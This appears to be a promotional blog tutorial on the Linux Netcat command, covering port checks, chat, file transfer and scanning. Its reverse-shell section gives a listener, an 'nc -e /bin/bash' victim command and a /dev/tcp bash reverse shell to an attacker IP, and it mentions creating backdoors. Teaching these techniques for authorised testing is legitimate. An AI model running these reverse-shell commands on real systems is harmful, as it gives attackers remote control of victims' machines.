Have you ever thought that there is a single command in Linux which you can utilize to transfer files, create a test file to check for network problems, scan for open ports, create a reverse shell? Introducing Netcat (nc) — the powerful yet simple utility that has earned the nickname the Swiss Army Knife of Networking.
System administrators, penetration testers, and developers use the Netcat command in Linux to create TCP/UDP connections, debug, and automate networking tasks. Whether you want to test connectivity between two machines, start a simple chat server, or play around with cybersecurity techniques such as a reverse shell, Netcat is the tool you are looking for.
By the end of this article, you will also know how to use it effectively in real-life situations. Let’s dive in!
What is Netcat Command in Linux?
Netcat (nc) is a command-line utility that can read and write data across a network connection using TCP or UDP. It is commonly used for:
- Network connectivity testing between two machines.
- Moving files on a network.
- Port scanning and penetration testing.
- Creating a basic chat server between two instances.
- Making a reverse shell to get access to the remote.
On many Linux distributions, netcat comes pre-installed, but you can install it with:
# Install Netcat on Debian/Ubuntu sudo apt install netcat -y # Install Netcat on Fedora/CentOS sudo dnf install nc -y
What is the Netcat Command in Linux
Netcat command in Linux uses TCP or UDP connections between two hosts. It serves as a client (sending data) or a server (listening for incoming connections).
Get exclusive access to all things tech-savvy, and be the first to receive
the latest updates directly in your inbox.
Basic Syntax of Netcat:
nc [OPTIONS] [HOST] [PORT]
Now, let’s learn how the Netcat command works in Linux with examples.
Example 1. How to Know if a Port Is Open
To see if port 80 is open on a remote server (example.com):
nc -zv example.com 80
Output:
Connection to example. com 80 port [tcp/http] succeeded!
Example 2: Creating a Simple Chat Server
On Machine 1 (Listening Server):
nc -l 1234
On Machine 2 (Client Connecting):
nc 192.168.1.10 1234
Now, anything we type on one machine will also output on the other—there you have a simple chat system!
Commands to Setup Netcat for Reverse Shell in Linux
The reverse shell mechanism can be used to control a system remotely. Such a task can easily be done with tools like Netcat in penetration testing and ethical hacking.
⚠️ Disclaimer: Only use reverse shells for legal and ethical activities, like testing your systems.
Step 1: Start a Listener on the Attacker’s Machine
This tactile works on your machine (attacker’s system):

nc -lvp 4444
This listens for an incoming connection on port 4444.
Step 2: Run Reverse shell on the target machine
Client (victim machine) command:
nc -e /bin/bash 192.168.1.100 4444
Now the attacker has a remote shell to the victim machine!
If -e Option is Not Possible — Alternative Reverse Shell
If nc -e is disabled, use:
/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
Advanced Netcat Commands and Use Cases
1. File Transfer Using Netcat
To send a file (data.txt) from Machine A to Machine B:
On Receiving Machine (B):
nc -l 5555 > received.txt
On Sending Machine (A):
nc 192.168.1.20 5555 < data.txt
Machine B now has the received file. txt.
2. Port Scanning with Netcat
To conduct an open port scan on a system (like Nmap):
nc -zv 192.168.1.10 20-100
How Does CyberPanel Help With Linux Networking

CyberPanel is an extremely robust web hosting control panel that helps in easy server management as well as networking tasks.
- Simple firewall and security configuration to prevent undesired connections.
- Monitoring of servers and automated detection of suspicious behavior.
- Instantly install necessary networking utilities, such as Netcat.
FAQs About Netcat Command in Linux
1. How can I verify whether Netcat is installed?
Run:
nc -h
It will print usage info if Netcat is installed.
2. Is Netcat safe to use?
Yes, but it can be misused. Only run Netcat against systems you have permission to test.
3. What is the distinction between Netcat and SSH?
In contrast, Netcat specifically focuses on establishing lightweight raw TCP/UDP connections, whereas SSH serves as an encrypted remote access protocol.
4. How do I terminate a Netcat connection?
Such a session is ended by pressing Ctrl + C.
Final Words!
Netcat command in Linux is an indispensable tool for every Linux user: sysadmin, developer, or penetration tester. Debugging networks, copying files, creating backdoors, this command is easily one of the most useful in Linux.
Looking to supercharge your Linux networking? Try CyberPanel and Secure Your Network Now!